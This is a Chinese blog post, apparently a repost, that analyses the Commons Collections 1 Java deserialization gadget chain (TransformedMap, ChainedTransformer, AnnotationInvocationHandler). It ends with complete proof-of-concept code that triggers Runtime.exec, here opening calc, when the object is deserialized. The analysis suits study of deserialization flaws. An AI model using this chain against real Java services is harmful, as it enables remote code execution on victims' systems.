栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

CommonCollections1 TransforedMap链分析

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

CommonCollections1 TransforedMap链分析

CommonCollections1 TransforedMap链分析

文章首发地址SecIN
https://www.sec-in.com/article/1592

普通的代码执行

Runtime.getRuntime().exec("calc");

java反射的代码执行

Runtime runtime = Runtime.getRuntime();
Class c = Runtime.class;
Method execMethod = c.getMethod("exec",String.class);
execMethod.invoke(runtime,"calc");

再看InvokerTransformer的transform

public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);

接受Object对象实现反射代码执行,相当于写了一个后门。后面要做的就是通过反序列化执行这个transform方法.

先来看看如何通过InvokerTransformer代码执行。看一下构造函数。

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

接收三个参数,由此可得

new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(Runtime.getRuntime());

再找哪个类调用了transform,我们最终是要找到readObject实现反序列化

得到

最后找到TransformedMap的checkSetValue调用了transform,当然还有lazyMap(下面分析)

然后尝试利用TransformedMap这个类代码执行。

checkSeetValue

protected Object checkSetValue(Object value) {
     return valueTransformer.transform(value);
}

因为这个checkSetValue是私有方法,所以需要再往上找利用valueTransformer的地方

    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }
    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

发现在decorate方法valueTransformer是可控的,所以可以调用TransformedMap.decorate。

有个问题是如何调用checkSetValue。

发现只有一个地方调用了checkSetvalue

static class MapEntry extends AbstractMapEntryDecorator {

        
        private final AbstractInputCheckedMapDecorator parent;

        protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
        }

        public Object setValue(Object value) {
            value = parent.checkSetValue(value);
            return entry.setValue(value);
        }
    }

利用这个entry.setValue的方法是循环调用MapEntry

现在的代码是

public class cc1 {
    public static void main(String[] args) {
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap objectObjectHashMap = new HashMap<>();
        objectObjectHashMap.put("123","456");
        Map transformedMap = TransformedMap.decorate(objectObjectHashMap, null, invokerTransformer);
        for (Map.Entry entry:transformedMap.entrySet()){
            entry.setValue(Runtime.getRuntime());
    }
}}

这里实际上是自己写了一个循环去遍历,我们还是要找到一个类去遍历这个transformedMap,如果这个类恰好存在readObject又可以遍历transformedMap就再好不过了,然后

恰好找到了这个类

这个AnnotationInvocationHandler里面的memberValue调用了setValue方法,同时memberValue又是可控的

AnnotationInvocationHandler没有定义方法类型,默认为deafult只能在本包内使用,所以要想使用这个类可以通过反射调用。

Map transformedMap = TransformedMap.decorate(objectObjectHashMap, null, invokerTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationdhdlConstructor.setAccessible(true);
Object o = annotationInvocationdhdlConstructor.newInstance(Override.class,transformedMap);

这个类需要传入两个参数,一个是Annotation也就是注解,还有就是Map

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class cc1 {
    public static void main(String[] args) throws Exception {
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap objectObjectHashMap = new HashMap<>();
        objectObjectHashMap.put("123","456");
        Map transformedMap = TransformedMap.decorate(objectObjectHashMap, null, invokerTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        annotationInvocationdhdlConstructor.setAccessible(true);
        Object o = annotationInvocationdhdlConstructor.newInstance(Override.class,transformedMap);
        serialize(o);
        unserialize("ser.bin");

}
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

这里遇到两个问题,一个是Runtime不能被序列化,还有实际是new了这个类

Runtime.getruntime()不能序列化但是Runtime.class可以被序列化。

Class c = Runtime.class;
Method getRuntimeMethod = c.getMethod("getRuntime",null);
Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc");

将它写成InvokerTransformer的形式,可以被序列化的版本

Method getRuntimeMethod= (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);

Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);

new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);

改完之后发现这是transform的循环调用,有一个类可以实现transofrom的循环调用就是ChainedTransformer。

然后看一下ChainedTransformer怎么用,看一下构造函数

public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }

    
    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

需要传入一个Transformer[]数组,然后下面的transform实现一个递归调用

Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

此时的Poc为

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class cc1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap objectObjectHashMap = new HashMap<>();
        objectObjectHashMap.put("123","456");
        Map transformedMap = TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        annotationInvocationdhdlConstructor.setAccessible(true);
        Object o = annotationInvocationdhdlConstructor.newInstance(Override.class,transformedMap);
        serialize(o);
        unserialize("ser.bin");
}
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

发现这样还是执行不了,调试看一下发现if这里的memberType为空

通过调试发现此处的type为我们随意传入的注解Override,

然后跟一下这个Override,发现这个Override是空的

所以我们要找到一个注解且这个注解的内容不为空,然后看一下上面的Target

发现他存在一个value,所以我们要修改两个地方

这个时候的poc为

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class cc1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap objectObjectHashMap = new HashMap<>();
        objectObjectHashMap.put("value","456");
        Map transformedMap = TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        annotationInvocationdhdlConstructor.setAccessible(true);
        Object o = annotationInvocationdhdlConstructor.newInstance(Target.class,transformedMap);
        serialize(o);
        unserialize("ser.bin");
}
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

运行poc即可代码执行
参考链接:

P神java漫谈

b站白日梦组长:CommonsCollections反序列化(一)

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/770546.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号